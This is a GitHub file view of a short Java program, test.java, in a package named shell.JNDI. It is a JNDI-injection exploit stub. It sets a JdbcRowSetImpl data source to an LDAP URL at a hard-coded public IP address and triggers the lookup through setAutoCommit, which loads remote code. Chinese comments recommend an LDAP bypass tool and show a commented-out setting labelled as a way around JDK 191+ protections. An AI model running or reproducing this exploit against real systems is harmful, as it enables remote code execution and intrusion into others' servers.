FilesExpand file tree

 main

/

test.java

Copy path

Blame

More file actions

Blame

More file actions

Latest commit

 

History

History

History

21 lines (19 loc) · 795 Bytes

 main

/

test.java

Copy path

Top

File metadata and controls

• Code
• Blame

21 lines (19 loc) · 795 Bytes

Raw

Copy raw file

Download raw file

Open symbols panel

Edit and raw actions

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

package shell.JNDI;

import com.sun.rowset.JdbcRowSetImpl;

public class test {

public static void main(String[] args) {

String payload = "ldap://1.116.136.120:8888/test";//可使用LdapBypassJndi工具

// String payload = "ldap://127.0.0.1:1399/test";

try {

Jndieval(payload);

} catch (Exception e) {

e.printStackTrace();

}

}

public static void Jndieval(String payload) throws Exception{

// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");//绕过jdk191+

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

jdbcRowSet.setDataSourceName(payload);//设置exp，通过getDataSourceName获得

jdbcRowSet.setAutoCommit(true);//调用connect()

}

}